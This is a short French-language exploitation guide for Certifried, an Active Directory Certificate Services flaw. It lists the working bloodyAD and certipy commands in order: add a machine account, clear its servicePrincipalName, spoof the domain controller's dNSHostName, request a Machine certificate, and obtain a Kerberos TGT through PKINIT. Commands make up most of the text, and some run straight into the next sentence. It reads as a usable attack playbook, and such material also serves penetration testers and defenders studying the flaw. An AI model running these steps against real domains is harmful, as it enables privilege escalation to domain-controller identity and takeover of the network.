Certifried
Etapes d’exploitations
Ajout d’une nouvelle machine
Dans un premier temps, il faut s’assurer que l’on peut ajouter des objets “ordinateur” au domaine. Par défaut, il est possible d’en ajouter 10 par utilisateur.
./bloodyAD.py -d $DOMAIN -u $USER -p $PASS --host $DC_IP getObjectAttributes "DC=$DOMAIN,DC=local" ms-DS-MachineAccountQuotaSi c’est possible, alors il faut ajouter un nouvel ordinateur avec bloodyAD :
./bloodyAD.py -d $DOMAIN -u $USER -p $PASS --host $DC_IP addComputer $COMPUTER_NAME $COMPUTER_PASSWORDModifier les attributs
Il faut ensuite purger l’attribut servicePrincipleName de ce tout nouveau compte machine :
./bloodyAD.py -d $DOMAIN -u $USER -p $PASS --host $DC_IP setAttribute "CN=$COMPUTER_NAME,CN=Computers,DC=$DOMAIN,DC=local" servicePrincipalName '[]'Puis configurer l’attribut dNSHostname de cette nouvelle machine afin qu’il corresponde à celui du controleur de domaine.
./bloodyAD.py -d $DOMAIN -u $USER -p $PASS --host $DC_IP setAttribute "CN=$COMPUTER_NAME,CN=Computers,DC=$DOMAIN,DC=local" dNSHostname '["$DC_FQDN"]'Demander un certificat
Avec certipy, demander un certificat avec le template “Machine” pour cet ordinateur.
certipy req "$DOMAIN/$COMPUTER_NAME:$COMPUTER_PASS@$ADCS_IP" -template Machine -dc-ip $DC_ip -ca $CA_NAMEUn fichier .pfx vient alors d’être créé. Il faut maintenant demander un TGT grâce à l’authentification Kerberos (PKINIT) en utilisant ce certificat :
certipy auth -pfx $PFX_FILE -dc-ip $DC_IPSi tout a fonctionné normalement, il est possible d’effectuer une authentification Kerberos avec le fichier .ccache tout juste généré.